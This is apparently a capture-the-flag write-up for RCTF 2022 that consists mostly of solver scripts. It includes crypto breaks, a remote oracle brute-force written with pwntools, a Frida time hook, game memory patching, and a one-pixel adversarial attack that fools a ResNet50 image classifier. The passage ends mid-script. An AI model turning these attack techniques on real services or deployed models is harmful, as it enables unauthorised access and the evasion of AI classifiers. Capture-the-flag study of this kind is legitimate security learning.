p=1118300568620959500192897212169586007009201348097737448312995712785484467714397946048215727546624070292137200806129425138886067088795659772178420807381494 9
q=9116233275131173602739752692268079943189703035300573582575042083296621527313939933344455320687281588438414528000594454794847729159565419506066306192152661
e =
3121363059746835628022404544403822724460605553641332612055010587129451973002475126644668174294955070747985002800863652917895939538596303356113483509581841527286351537287500304267975061675901109982875778527827742120878835367386538561039072391997357702421691095861694681707017921391244519593945584755632901987840338065879901115934561426583008834453244051629340056867760923894623105542463500022221236457852502822707466528439969484890601953615303609725566617126458934095119670087068752543521167517461730977044465374505011791902510131823556603316457085145886999220426746234986984619161299098173535371540923264898459106461
c =
3023313363629909506923927199426293187583112749147539699346723655095868214179291222441307436555352537055690155418715652987685459938250844145450675418187664719327350488160722838989675928696633353180233455017609936874014883975932740217672705286265535646106053294507962613498142617741362730709360885118905440314573392981528077265110441270212385951070591696827167771592664502652520790612367259434545169836933571343480057141790292296952743986731389468760364416344837575740236416472589700581583016227273449673820568427641136163703116276104550877191839851640920430919278802098196408637904780725723268371465670950321881886863
n=
1019468885526050337261778377097381639300329704773616643945641346266394678435536349205104473399858426893875195175537145829915067220450786967719860522463060682579572614784160931886404375034818628253812414804054639855165985204532112172063088267796699808335960666772625498415241345397292794469108171696208712929289

import gmpy2

phi = (p**2 - 1) * (q**2 - 1)
v=c%n
def LUC(c, d, N):
```

```
    x = c
    y = (c**2 - 2) % N
    for bit in bin(d)[3:]:
        if bit == '1':
            x = (x*y - c) % N
            y = (y**2 - 2) % N
        else:
            y = (x*y - c) % N
            x = (x**2 - 2) % N
    return x
def seq(r, k):
    v = [r, 2]
    for i in range(1, k):
        v = [r*v[0]-v[1], v[0]]
    ret = v[0] if k != 0 else v[1]
    return ret
def encrypt(m, e, n):
    while True:
        r = randint(1, n - 1)
        if r != 2 and r != n - 2 and GCD(r, n) == 1:
            break
    v = seq(r, e)
    print(r)
    return ((1 + m*n) * v) % n**2
d=gmpy2.invert(e,phi)
r=LUC(v,d,n)
v=LUC(r,e,n^2)
m=((gmpy2.invert(v,n^2)*c-1)%n^2)//n
print(bytes.fromhex(hex(m)[2:]))
```

Derek

```
from ctypes import c_uint64

def magicOffset(l):
            magic = c_uint64(0xffffffffffffffff)
            for m in bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2)
                            for byte in l.to_bytes(8, 'big')]):
                magic.value ^= c_uint64(m << 56).value
                for j in range(8):
                    if magic.value & 0x8000000000000000 != 0:
                        magic.value = magic.value << 1 ^ 0x1b
                    else:
                        magic.value = magic.value << 1
            magic.value ^= 0xffffffffffffffff
            t = bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2)
                       for byte in bytes(magic)])
            return t
```

```
c = []
c0 = int.from_bytes(magicOffset(0), 'big')
for i in range(64):
    c.append(int.from_bytes(magicOffset(2**i), 'big'))
```

```
c0 = 12465963768561532927
c = [12488481766698385407, 12655114952911093759, 12267805384957231103,
11637301437125361663, 13258597302978740223, 11168927075878830079, 13907115649320091647,
8430738502437568511, 12465488779538333695, 12465013790515134463, 12464063812468735999,
12462163856375939071, 12458363944190345215, 12457064119819157503, 12435564471076782079,
12405165173592031231, 12465961913135661055, 12465960057709789183, 12465955346858045439,
12465948925154557951, 12465934081747582975, 12465904394933633023, 12465845021305733119,
12465726274049933311, 12465963761313775615, 12465963754066018303, 12465963739570503679,
12465963710579474431, 12465963652597415935, 12465963536633298943, 12465963304705064959,
12465962840848596991, 12465963768533221375, 12465963768504909823, 12465963768448286719,
12465963768335040511, 12465963768108548095, 12465963767655563263, 12465963766749593599,
12465963764937654271, 12465963768561422335, 12465963768561311743, 12465963768561090559,
12465963768560648191, 12465963768559763455, 12465963768557993983, 12465963768554455039,
12465963768547377151, 12465963768561532495, 12465963768561532063, 12465963768561531199,
12465963768561529471, 12465963768561526015, 12465963768561519103, 12465963768561505279,
12465963768561477631, 6485183463413514238, 17798225727368200188, 1801439850948198393,
8430738502437568498, 12465963768561532900, 12465963768561532873, 12465963768561532819,
12465963768561532711]
k1 = 0xdeadbeefbaadf00d
k2 = 0xbaadf00ddeadbeef
A = matrix(GF(2),64,64)
for i in range(64):
    t = c[i] ^^ c0
    for j in range(64):
        A[j,i] = t % 2
        t = t >> 1
print(A.rank())
Ainv = A ** (-1)
b = vector(GF(2), 64)
for k in [k1,k2]:
    t = k ^^ c0
    for j in range(64):
        b[j] = t % 2
        t = t >> 1
    print(hex(int(''.join([str(i) for i in (Ainv * b)][::-1]), 2)))

'''
64
0xd80be0534925b5d6
0x383972b703bd8d98
'''
```

```python
from Crypto.Cipher import AES
from ctypes import c_uint64
from Crypto.Util.Padding import pad
import os

def nsplit(s: list, n: int):
    return [s[k: k + n] for k in range(0, len(s), n)]

def aes(data: int, key: bytes) -> int:
    data = data.to_bytes(16, 'big')
    E = AES.new(key, AES.MODE_ECB)
    return int.from_bytes(E.encrypt(data), 'big')

def _aes(data: int, key: bytes) -> int:
    data = data.to_bytes(16, 'big')
    E = AES.new(key, AES.MODE_ECB)
    return int.from_bytes(E.decrypt(data), 'big')

class LFSR():
    def __init__(self, init, mask=int.from_bytes(b'RCTF2022Hack4fun', 'big'),
length=128):
        self.init = init
        self.mask = mask
        self.lengthmask = 2**(length+1)-1

    def next(self):
        nextdata = (self.init << 1) & self.lengthmask
        i = self.init & self.mask & self.lengthmask
        output = 0
        while i != 0:
            output ^= (i & 1)
            i = i >> 1
        nextdata ^= output
        self.init = nextdata
        return output

class Derek():
    def __init__(self, key, rnd=10):
        self.key = key
        self.rnd = rnd
        self.keys = list()
        self.generatekeys(self.key)

    def generatekeys(self, key: bytes) -> None:
        lfsr = LFSR(int.from_bytes(key, 'big'))
        for i in range(self.rnd):
            b = 0
            for j in range(128):
                b = (b << 1) + lfsr.next()
```

```
            self.keys.append(b.to_bytes(16, 'big'))

    def enc_block(self, x: int) -> int:
        x_bin = bin(x)[2:].rjust(128, '0')
        l, r = int(x_bin[:64], 2), int(x_bin[64:], 2)
        for i in range(self.rnd):
            magic = c_uint64(0xffffffffffffffff)
            for m in bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2)
                            for byte in l.to_bytes(8, 'big')]):
                magic.value ^= c_uint64(m << 56).value
                for j in range(8):
                    if magic.value & 0x8000000000000000 != 0:
                        magic.value = magic.value << 1 ^ 0x1b
                    else:
                        magic.value = magic.value << 1
            magic.value ^= 0xffffffffffffffff
            t = bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2)
                       for byte in bytes(magic)])
            t = aes(int(t.hex(), 16), self.keys[i]) & 0xffffffffffffffff
            t ^= aes(0xdeadbeefbaadf00d if i % 2 else 0xbaadf00ddeadbeef,
                     self.keys[i]) & 0xffffffffffffffff
            l, r = r ^ t, l
        l ^= int.from_bytes(self.key[:8], 'big')
        r ^= int.from_bytes(self.key[8:], 'big')
        l, r = r, l
        y = (l + (r << 64)) & 0xffffffffffffffffffffffffffffffff
        return y

    def dec_block(self, x: int) -> int:
        l = x >> 64
        r = x % (2 ** 64)
        l ^= int.from_bytes(self.key[:8], 'big')
        r ^= int.from_bytes(self.key[8:], 'big')
        for i in range(self.rnd - 1, -1, -1):
            magic = c_uint64(0xffffffffffffffff)
            for m in bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2)
                            for byte in r.to_bytes(8, 'big')]):
                magic.value ^= c_uint64(m << 56).value
                for j in range(8):
                    if magic.value & 0x8000000000000000 != 0:
                        magic.value = magic.value << 1 ^ 0x1b
                    else:
                        magic.value = magic.value << 1
            magic.value ^= 0xffffffffffffffff
            t = bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2)
                       for byte in bytes(magic)])
            t = aes(int(t.hex(), 16), self.keys[i]) & 0xffffffffffffffff
            t ^= aes(0xdeadbeefbaadf00d if i % 2 else 0xbaadf00ddeadbeef,
                     self.keys[i]) & 0xffffffffffffffff
```

```
            l, r = r, l ^ t
        y = (r + (l << 64)) & 0xffffffffffffffffffffffffffffffff
        return y

    def encrypt(self, text: bytes) -> bytes:
        text_blocks = nsplit(pad(text, 16), 16)
        result = b''
        for block in text_blocks:
            block = int.from_bytes(block, 'big')
            result += self.enc_block(block).to_bytes(16, 'big')
        return result

    def decrypt(self, text: bytes) -> bytes:
        text_blocks = nsplit(text, 16)
        result = b''
        for block in text_blocks:
            block = int.from_bytes(block, 'big')
            result += self.dec_block(block).to_bytes(16, 'big')
        return result

data = input().strip()
magic_value = 0x383972b703bd8d98d80be0534925b5d6
key = magic_value ^ int(data[:32], 16)
key = key.to_bytes(16, 'big')
derek = Derek(key, rnd=42)
assert derek.encrypt(b'') == bytes.fromhex(data[32:])
print('key recovered:', key.hex())
data = input().strip()
print('flag:', derek.decrypt(bytes.fromhex(data)))
```

Misc

CatSpy

```
from torchvision.models import resnet50, ResNet50_Weights
from PIL import Image

import numpy as np
import torch
import torch.nn.functional as F
import torchvision.transforms as transforms
from torch.autograd import Variable
from scipy.optimize import differential_evolution

weights = ResNet50_Weights.DEFAULT
model = resnet50(weights=weights).cuda()
model.eval()
```

```
preprocess = weights.transforms()

img = transforms.ToTensor()(Image.open('start.png')).cuda()

def perturb_image(xs, img):
    if xs.ndim < 2:
            xs = np.array([xs])
    batch = len(xs)
    imgs = img.repeat(batch, 1, 1, 1)
    xs = xs.astype(int)
    count = 0
    for x in xs:
        pixels = np.split(x, len(x)//5)
        for pixel in pixels:
            x_pos, y_pos, r, g, b = pixel
            imgs[count, 0, x_pos, y_pos] = r/255
            imgs[count, 1, x_pos, y_pos] = g/255
            imgs[count, 2, x_pos, y_pos] = b/255
        count += 1
    return imgs

def predict_classes(xs, img, target_calss, net, minimize=True):
    imgs_perturbed = perturb_image(xs, img.clone())
    score_sum = 0
    with torch.no_grad():
        input= Variable(preprocess(imgs_perturbed)).cuda()
        predictions = F.softmax(net(input),dim=1).data.cpu().numpy()
        score_sum += sum(predictions[:, target] for target in target_calss)
    score_sum /= len(target_calss)/10
    return score_sum if minimize else 1 - score_sum

def attack_success(x, img, target_calss, net, targeted_attack=False, verbose=False):
    attack_image = perturb_image(x, img.clone())
    with torch.no_grad():
            input= Variable(preprocess(attack_image)).cuda()
    confidence = F.softmax(net(input),dim=1).data.cpu().numpy()[0]
    score_sum = sum(confidence[target] for target in target_calss)
    print(score_sum/len(target_calss)/10)
    predicted_class = np.argmax(confidence)
    category_name = weights.meta["categories"][predicted_class]
    if category_name == 'tabby' or "cat" in category_name:
        print(category_name)
        return False
    print(category_name)
    return True


bounds = [(0,60), (0,60), (0,255), (0,255), (0,255)]
```

```
target_calss = [143, 281, 282, 283, 283, 283, 283, 283, 283, 283, 283, 283, 283, 284,
285, 358, 383, 484]
# targeted_attack = True
targeted_attack = False
target = None
pixels=1
maxiter=100
popsize=400
popmul = max(1, popsize//len(bounds))

predict_fn = lambda xs: predict_classes(xs, img, target_calss, model, target is None)
callback_fn = lambda x, convergence: attack_success(x, img, target_calss, model,
targeted_attack, True)

inits = np.zeros([int(popmul*len(bounds)), len(bounds)])
for init in inits:
    for i in range(pixels):
        init[i*5+0] = np.random.random()*60
        init[i*5+1] = np.random.random()*60
        init[i*5+2] = np.random.normal(128,127)
        init[i*5+3] = np.random.normal(128,127)
        init[i*5+4] = np.random.normal(128,127)

attack_result = differential_evolution(predict_fn, bounds, maxiter=maxiter,
popsize=popmul, recombination=1, atol=-1, callback=callback_fn, polish=False,
init=inits)

print(attack_result.x)

attack_image = perturb_image(attack_result.x, img)
attack_image = transforms.ToPILImage()(attack_image[0].cpu())
attack_image.save('end.png')
```

ezhook

`System.currentTimeMillis` 通过调用gettimeofday实现，直接hook使返回小于比较的值

```
var funcPtr = Module.findExportByName("libc-2.31.so", "gettimeofday");
Interceptor.attach(funcPtr, {
    onEnter: function (args) {
      this.tv = args[0];
      this.tz = args[1];
    },
    onLeave: function (retValue) {
      var currenttv = this.tv;

      currenttv.writeUInt(1609430400-100);
    },
  });
```

alien_invasion

alien.bmp末尾有一段password = N0bOdy_l0ves_Me

解压得到一个pyinstaller打包的exe

提alien_invasion和相关的几个库出来，反编译，每个里面都有一段flag。

b'VTJreE0yNWpNdz09' Si13nc3

b'TVRVPQ==' 15

b'YmtWMlJYST0=' nEvEr

b'T1dsMmFXNDU=' 9ivin9

b'ZFhBPQ==' up

b'SmlZPQ==' &&

b'Tm5WMA==' 6ut

b'YURBeFpHbHVPUT09 VDI0PQ== VTJreE0yNVVNWGs9' h01din9 On Si13nT1y

`RCTF{Si13nc3_15_nEvEr_9ivin9_up_&&_6ut_h01din9_On_Si13nT1y}`

K999

main.lua提示找Decrypt，在flag.lua有个Decrypt函数

```
function to8(n)
    return n % 256
end

function bxor(a, b)
    local p = 0
    local i = 0
    for i = 0, 7, 1 do
        p = p + 2 ^ i * ((a % 2 + b % 2) % 2)
        a = math.floor(a / 2)
```

```
        b = math.floor(b / 2)
        if a == 0 and b == 0 then break end
    end
    return p
end

function encrypt(v, k)
    local sum = 0
    local delta = 0x37
    local i = 0
    for i = 1, 8, 1 do
        sum = to8(sum + delta)
        v[1] = to8(v[1] + to8(bxor(bxor(to8((v[2] * 16) + k[1]), to8(v[2] + sum)),
to8(math.floor(v[2] / 32) + k[2]))))
        v[2] = to8(v[2] + to8(bxor(bxor(to8((v[1] * 16) + k[3]), to8(v[1] + sum)),
to8(math.floor(v[1] / 32) + k[4]))))
    end
end

function decrypt(v, k)
    local sum = 0xB8
    local delta = 0x37
    local i = 0
    for i = 1, 8, 1 do
        v[2] = to8(v[2] - to8(bxor(bxor(to8((v[1] * 16) + k[3]), to8(v[1] + sum)),
to8(math.floor(v[1] / 32) + k[4]))))
        v[1] = to8(v[1] - to8(bxor(bxor(to8((v[2] * 16) + k[1]), to8(v[2] + sum)),
to8(math.floor(v[2] / 32) + k[2]))))
        sum = sum - delta
    end
end

function passGen()
    local pw = ""
    local j
    for i = 1, 4, 1 do
        j = math.random(33, 126)
        if j == 96 then pw = pw .. "_"
        else pw = pw .. string.char(j) end
    end
    return pw
end

function strDecrypt(s, k)
    local b = {}
    local c = {}
    local i
    local j
    j = string.gmatch(k, ".")
```

```
    b = { string.byte(j()), string.byte(j()), string.byte(j()), string.byte(j()) }
    j = ""
    for i = 1, string.len(s) / 2, 1 do
        c = { string.byte(string.sub(s, i * 2 - 1, i * 2 - 1)),
string.byte(string.sub(s, i * 2, i * 2)) }
        decrypt(c, b)
        j = j .. string.char(c[1])
        if c[2] == 0 then break end
        j = j .. string.char(c[2])
    end
    return j
end

function Decrypt(s)
    local key = "MOON"
    flag = ""
    for i = 1, #s, 1 do
        flag = flag .. string.char(s[i])
    end
    flag = strDecrypt(flag, key)
    print(flag)
end
Decrypt({157,89,215,46,13,189,237,23,241,49,84,146,248,150,138,183,119,52})
Decrypt({34,174,146,132,225,192,5,220,221,176,184,218,19,87,249,122})
```

ezPVZ

```
PlantsVSZombies.exe+7C07:
7FF7640E7C01 - 7F 3A - jg PlantsVSZombies.exe+7C3D
7FF7640E7C03 - 41 8D 50 01  - lea edx,[r8+01]
7FF7640E7C07 - 89 16  - mov [rsi],edx <<
7FF7640E7C09 - C6 44 24 50 FF - mov byte ptr [rsp+50],-01
7FF7640E7C0E - 44 89 64 24 48  - mov [rsp+48],r12d

RAX=0000000000000002
RBX=000000000000000A
RCX=8A40F68F32330000
RDX=0000000000000001
RSI=000001FC00CA1740
RDI=000000000000000A
RSP=00000032074FF520
RBP=0000000000000064
RIP=00007FF7640E7C09
R8=0000000000000000
R9=0000000000000001
R10=000001FC00CE9490
R11=00000032074FF270
R12=0000000000000000
```

```
R13=0000000000000002
R14=FFFFFFFF88010994
R15=0000000000000002


First seen:18:44:01
Last seen:18:44:02


PlantsVSZombies.exe+9934:
7FF7640E9929 - 48 C1 E1 05 - shl rcx,05
7FF7640E992D - 8B 84 19 24050000  - mov eax,[rcx+rbx+00000524]
7FF7640E9934 - 29 83 B8030000  - sub [rbx+000003B8],eax <<
7FF7640E993A - 89 AC 19 28050000  - mov [rcx+rbx+00000528],ebp
7FF7640E9941 - 48 8B BC 24 80000000  - mov rdi,[rsp+00000080]

RAX=0000000000000064
RBX=000001FC00CA1218
RCX=0000000000000020
RDX=000001FC00C86510
RSI=0000000000000002
RDI=0000000000000008
RSP=00000032074FF3C0
RBP=0000000000000000
RIP=00007FF7640E993A
R8=000001FC051BBED0
R9=0000000000000000
R10=0000000000000000
R11=0000000000000246
R12=0000000000000000
R13=0000000000000201
R14=000001FC00CA13E8
R15=0000000000000000


First seen:18:45:45
Last seen:18:45:45


PlantsVSZombies.exe+C007:
7FF7640EC001 - 7F 3A - jg PlantsVSZombies.exe+C03D
7FF7640EC003 - 41 8D 50 01  - lea edx,[r8+01]
7FF7640EC007 - 89 16  - mov [rsi],edx <<
7FF7640EC009 - C6 44 24 50 FF - mov byte ptr [rsp+50],-01
7FF7640EC00E - 44 89 64 24 48  - mov [rsp+48],r12d

RAX=0000000000000004
RBX=000000000000000A
RCX=8A40F68F32330000
```

```
RDX=0000000000000017
RSI=000001FC00CA1E58
RDI=000000000000000A
RSP=00000032074FF520
RBP=0000000000000064
RIP=00007FF7640EC009
R8=0000000000000016
R9=0000000000000001
R10=000001FC051C8D00
R11=00000032074FF270
R12=0000000000000000
R13=0000000000000002
R14=FFFFFFFF88010994
R15=0000000000000005


First seen:18:53:53
Last seen:18:53:54


加阳光
9A1A
7FF7640E9A18 - EB 03 - jmp PlantsVSZombies.exe+9A1D
7FF7640E9A1A - 8D 42 19  - lea eax,[rdx+19]
7FF7640E9A1D - 89 87 B8030000  - mov [rdi+000003B8],eax <<
7FF7640E9A23 - 48 8B 8F E0040000  - mov rcx,[rdi+000004E0]
7FF7640E9A2A - 48 85 C9  - test rcx,rcx

RAX=00000000000000C8
RBX=000001F38F0030B0
RCX=000000DBB7AFF5C0
RDX=00000000000000AF
RSI=000000BE000001C5
RDI=000001F38EFF3668
RSP=000000DBB7AFF5A0
RBP=0000000000000001
RIP=00007FF7640E9A23
R8=00000000000000BE
R9=0000000000000001
R10=00007FF7640FFD88
R11=0000000000000246
R12=0000000000000000
R13=0000000000000201
R14=0000000000000000
R15=0000000000000000


First seen:19:09:16
Last seen:19:09:16
```

Reverse

rdefender

```
from pwn import *
import string


def send_data(p, data):
    p.send(len(data).to_bytes(4, 'little'))
    p.send(data)

def insert_fuck2(p, t, data):
    p.send(b'\x02' + t.to_bytes(1, 'little') + b'\xD1\x66\x9C\x89\xF3\x5B')
    send_data(p, data)
    return u64(p.recvn(8))


def insert_fuck1(p, data):
    op_0(p)
    send_data(p, data)

def op_1(p, idx1, idx2):
    data = b'\x01' + idx1.to_bytes(1, 'little') + idx2.to_bytes(1, 'little')
    data = data.ljust(8, b'\x00')
    p.send(data)
    return u64(p.recvn(8))

def op_0(p):
    data = b'\x00' * 8
    p.send(data)

def get_char_set():
    s = []
    for ch in string.printable:
        p = process("./rdefender")
        #p = remote("94.74.84.207", 7892)
        insert_fuck2(p, 1, ch.encode('utf-8'))
        if op_1(p, 0, 0) == 2:
            s.append(ch)
        p.close()
    print(s)
    return s



def check(p, pos, ch):
    pos = pos.to_bytes(1, 'little')
```

```
    ch = ch.encode('utf-8')
    insert_fuck2(p, 2, b'\x01' + pos + b'\x00' + ch + b'\x03\x06\x05')
    return op_1(p, 0, 0) == 1


chars = ['0', '1', '2', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'f', 'C',
'F', 'R', 'T', '{', '}']
#chars = get_char_set()

i = 0
flag = []
while True:
    find = False
    for ch in chars:
        p = remote("94.74.84.207", 7892)
        if check(p, i, ch) == 1:
            flag.append(ch)
            print("".join(flag))
            i += 1
            find = True
            break
        p.close()
    if find == False:
        print("error")
        break
    if flag[-1] == '}':
        break



# input(">>>")
# insert_fuck2(p, 2, b'\x002\x003\x004\x02\x03')
# insert_fuck2(p, 0, b'abcdefgh')
# insert_fuck2(p, 0, b'QWERTYUI')
# insert_fuck1(p, b'x1x2x3x4')
# op_1(p, 0, 0)
# p.interactive()
```

checkserver

```
import re
import requests
import string
from itertools import product
letter = string.ascii_letters + string.digits + '!@_^#{}'
```

```
check = [0xE6, 0xF7, 0x74, 0x9F, 0x05, 0xAB, 0x1A, 0x50, 0xBF, 0x28, 0xB6, 0xE6, 0xA4,
0x9E, 0x7F, 0x0D, 0x22, 0xAC, 0x76, 0x60, 0xFD, 0xA6, 0x90, 0x5E, 0x91, 0xB4, 0x76,
0xA3, 0x8D, 0x43, 0x88, 0x35, 0xF4, 0xE0, 0x37, 0x6A]



def get_resp(length):
    data = open(r'check_server\1.txt', 'rb').read()

    return data[len(data) - length -1 : -1]

def get_flag():
    mmaap = {}
    for idx in range(36):

        mmaap[idx] = {}
        for ch in letter:
            e = ch * (idx + 1)
            print(f'send: {e}')
            res = requests.post('http://127.0.0.1:8080/index.html', data=f'authcookie=
{e}')
            assert res.status_code == 200
            r = get_resp(idx + 1)
            print(r)
            assert len(r) == idx + 1
            # print(r[-1][-1])
            mmaap[idx][r[-1]] = ch
    print(mmaap)
    flag = maps_dump(mmaap)
    print('ma4on',''.join(flag))


def maps_dump(mmaap):
    flag = ['1'] * 36
    for i in range(36):
        flag[i] = mmaap[i][check[i]]
        # print(flag)
    return flag


if __name__ == '__main__':
    get_flag()
```

web_run

时间输入插桩

`"input timestamp: "+new TextDecoder("utf-8").decode(wasmMemory.buffer.slice(5246528, 5246528+32))`

比对结果 插桩

`new TextDecoder("utf-8").decode(wasmMemory.buffer.slice(0x00500EB0, 0x00500EB0+0x32))`

keygen

```
class keygen:

    def __init__(self, key):
        self.timestamp = (key & 0xffffffff) - 1

    def f30(self):

        v0 = (self.timestamp * 6364136223846793005 + 1) & 0xffffffffffffffff
        self.timestamp = (self.timestamp * 6364136223846793005 + 1) &
0xffffffffffffffff
        return (v0 >> 33) & 0xffffffff

    def f7(self):
        v0 = self.f30()
        return v0 % 0x10

    def f8(self, v0):
        if 0 <= v0 <= 9:
            return v0 + 48
        elif v0 - 10 == 0:
            return 97
        elif v0 - 10 == 1:
            return 98
        elif v0 - 10 == 2:
            return 99
        elif v0 - 10 == 3:
            return 100
        elif v0 - 10 == 4:
            return 101
        elif v0 - 10 == 5:
            return 102
        else:
            return 48

    def generate(self):
        strs = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'
```

```
        strs = list(strs)
        for i in range(len(strs)):
            if strs[i] == 'x':
                v1 = self.f7()
                strs[i] = chr(self.f8(v1))
            elif strs[i] == 'y':
                v1 = self.f7()
                strs[i] = chr(self.f8(v1 & 3 | 8))
        return ''.join(strs)



if __name__ == '__main__':
    print(keygen(202211110054).generate())
```

RTTT

```
import string
inp = string.printable[:42]             # 测试数据
after_fixed = "ozpBaxmtn0sqjdiF8fcyr57b93w14EgAD2uCk6lveh"
after_fixed_arr = list(b'ozpBaxmtn0sqjdiF8fcyr57b93w14EgAD2uCk6lveh')
after_xor = [0x18, 0x8F, 0x51, 0x2B, 0x82, 0x8F, 0xEA, 0xEC, 0x04, 0xD8, 0x58, 0xEF,
0x63, 0x88, 0x88, 0xEC, 0xFA, 0x7C, 0x75, 0x04, 0x1D, 0xC5, 0x61, 0x22, 0x02, 0x65,
0x28, 0x09, 0x11, 0x9E, 0x0E, 0xA6, 0x2B, 0x20, 0xA3, 0xD1, 0x43, 0x5B, 0x9A, 0x73,
0x4B, 0x1F]
key_stream = []
for i in range(42):
    key_stream.append(after_fixed_arr[i] ^ after_xor[i])
# print(key_stream)
cmp = [0x34, 0xC2, 0x65, 0x2D, 0xDA, 0xC6, 0xB1, 0xAD, 0x47, 0xBA, 0x06, 0xA9, 0x3B,
0xC1, 0xCC, 0xD7, 0xF1, 0x29, 0x24, 0x39, 0x2A, 0xC0, 0x15, 0x02, 0x7E, 0x10, 0x66,
0x7B, 0x5E, 0xEA, 0x5E, 0xD0, 0x59, 0x46, 0xE1, 0xD6, 0x6E, 0x5E, 0xB2, 0x46, 0x6B,
0x31]
fiexd_flag = ""
for j in range(42):
    fiexd_flag += chr(cmp[j] ^ key_stream[j])
for k in inp:
    print(fiexd_flag[after_fixed.find(k)], end='')
```

picStore

魔改的lundump.c

```
static lu_byte LoadByte (LoadState *S) {
  lu_byte x;
  LoadVar(S, x);
  if (((unsigned char)(x - 1)) <= 0xFD) {
    return ~x&0xff;
  }
  return x;
}


static int LoadInt (LoadState *S) {
  int x;
  LoadVar(S, x);

  for (int i = 0; i < sizeof(x); i++) {

    if (((unsigned char)(((unsigned char*)&x)[i] - 1)) <= 0xFD) {
      ((unsigned char*)&x)[i] = ~((unsigned char*)&x)[i]&0xff;
    }
  }

  return x;
}


static lua_Number LoadNumber (LoadState *S) {
  lua_Number x;
  LoadVar(S, x);

  for (int i = 0; i < sizeof(x); i++) {

    if (((unsigned char)(((unsigned char*)&x)[i] - 1)) <= 0xFD) {
      ((unsigned char*)&x)[i] = ~((unsigned char*)&x)[i]&0xff;
    }
  }
  return x;
}


static lua_Integer LoadInteger (LoadState *S) {
  lua_Integer x;
  LoadVar(S, x);

  for (int i = 0; i < sizeof(x); i++) {
    if (((unsigned char)(((unsigned char*)&x)[i] - 1)) <= 0xFD) {
```

```
      ((unsigned char*)&x)[i] = ~((unsigned char*)&x)[i]&0xff;
    }
  }
  return x;
}
```

恢复以后

```
function upload_impl()
    local num = alloc_idx_impl()
    if num ~= then
        io.write("img data: ")
        upload_img_impl(num)
    end

    return
end

function download_impl()
    io.write("link: ")
    local num = io.read("*number")
    local result = check_inuse_impl(num)

    if  result == 1 then
        io.write("img data: ")
        download_img_impl(num)
    end
end

function delete_impl()
    io.write("link: ")
    local num = io.read("*number")
    local result = delete_img_impl(num)

    if result == 0 then
        print("error")
    end
    return
end

function list_impl()
    print("--------------------img list--------------------")
    local num = 0
    local count = 1
    while num < 30 do
        local result = check_inuse_impl(num)
        if result == 1 then
            print(string.format("%d. pic_%04d. link: http://%d", count, num, num))
            count = count + 1
```

```
        end
        num = num + 1
    end
    return
end


function check_impl()
    local num = 0
    local count = 0
    local result = ""
    local flag = false
    while num < 30 do {
        if num % 2 == 0 and check_inuse_impl(num) == 1 then
            local img = read_data_impl(num)
            if #img == 2 then
                flag = true
                result = result .. img
            end
            count = count + 1
        end
        num = num + 1
    }
    if count == 15 and #result == 30 and flag == true then
        if check_func(result) == true then
            print("now, you know the flag~")
            print(result)
        end
    else
        print("you fail!")
    end
    return
end

function main_logic()
    menu()
    local choice = io.read("*l")
    if choice == "1" then
        upload_impl()
    elseif choice == "2" then
        download_impl()
    elseif choice == "3" then
        delete_impl()
    elseif choice == "4" then
        list_impl()
    elseif choice == "5" then
        check_impl()
    elseif choice == "6" then
        print("bye~")
```

```
    else
        print("bad choice")
    end
    return
end


function value_list(str)
    local result = {}
    local num = 1
    while num <= string.len(str) do {
        local result = result .. string.byte(str, num)
        num = num + 1
    }
    return result
end

function tobinary(num)
    local result = ""
    while num > 0 do {
        if num % 2 == 1 then
            result = result .. "1"
        else
            result = result .. "0"
        end
        num = math.modf(num / 2)
    }
    return string.reverse(result)
end


function xor(a, b)
    local a, b = tobinary(a), tobinary(b)
    local r4 = string.len(a)
    local r5 = string.len(b)
    if r5 < r4 then
        r7 = math.floor(r4 - r5)
        for r9 = 1, r7, 1 do
            b = "0" .. b
        end
        r6 = r4
    elseif r4 < r5 then
        r7 = math.floor(r5 - r4)
        for r9 = 1, r7, 1 do
            a = "0" .. a
        end
        r6 = r5
    end
    local r8 = ""
```

```
    for r9 = 1, r6, 1 do
        local r13 = string.sub(a, r9, r9)
        local r14 = string.sub(b, r9, r9)
        if r13 == r14 then
            r8 = r8 .. "0"
        else
            r8 = r8 .. "1"
        end
    end
    return tonumber(r8, 2)
end


function check_func(R0)
    R1 = value_list(R0)
    R2 = {}
    R3 = {0} -- 256 elements
    R4 := 1
    R6 = 1
    R5 = #R1 -- 30
    while R4 <= R5 do
        R7 = R4
        R1[R7] = xor(R1[R7], R7 - 1)
        R1[R7] = xor(R1[R7], 255) & 255
        R2[#R2 + 1] = R3[R1[R7] + 1]
        R4 = R4 + 1
    end

end


function main()
    init_store_impl()
    main_logic()
```

分开解

```
from z3 import *

sol = Solver()
flag = [BitVec(f'flag[{i}]', 8) for i in range(30)]
# to 32-bit
a1 = [BV2Int(ZeroExt(24, flag[i])) for i in range(30)]

abs32 = Abs

v1 = a1[0]
v2 = a1[1]
v3 = a1[2]
```

```
v4 = a1[3]
v5 = a1[4]
v6 = a1[5]
v7 = a1[6]
v8 = a1[7]
v9 = abs32(255036 * v7 -90989 * v3 + -201344 * v4 + 122006 * v5 + -140538 * v6 + 109859
* v2 - 109457 * v1 - 9396023)+ abs32(277432 * v6 + 0x1AE6F * v3 + -186022 * v4 + 175123
* v2 - 75564 * v5 - 252340 * v1 - 12226612)+ abs32(127326 * v4 + 0x3FB54 * v2 + -102835
* v1 + 225038 * v5 - 129683 * v3 - 45564209)+ abs32(-170345 * v2 + 0x35144 * v3 - 26668
* v1 + 38500 * v4 - 27440782)+ abs32(25295 * v2 + 69369 * v3 + 191287 * v1 - 24434293)+
abs32(72265 * v1 - 2384745)+ abs32(264694 * v1 - 190137 * v2 + 19025100)
v10 = a1[8]
v24 = a1[9]
v11 = abs32(101752 * v24 + 67154 * v8 + -20311 * v1 + -30496 * v6 + -263329 * v7 +
-99420 * v10 + 255348 * v3 + 169511 * v4 - 121471 * v2 + 231370 * v5 - 33888892) +
abs32(17253 * v8 + -134891 * v7 + 144501 * v4 + 220594 * v2 + 263746 * v3 + 122495 * v6
+ 74297 * v10 + 205480 * v1 - 32973 * v5 - 115484799) + abs32(251337 * v3 + -198187 *
v6 + -217900 * v2 + -62192 * v8 + -138306 * v7 + -165151 * v4 - 118227 * v1 - 22431 *
v5 + 72699617) + v9
v25 = a1[10]
v26 = a1[11]
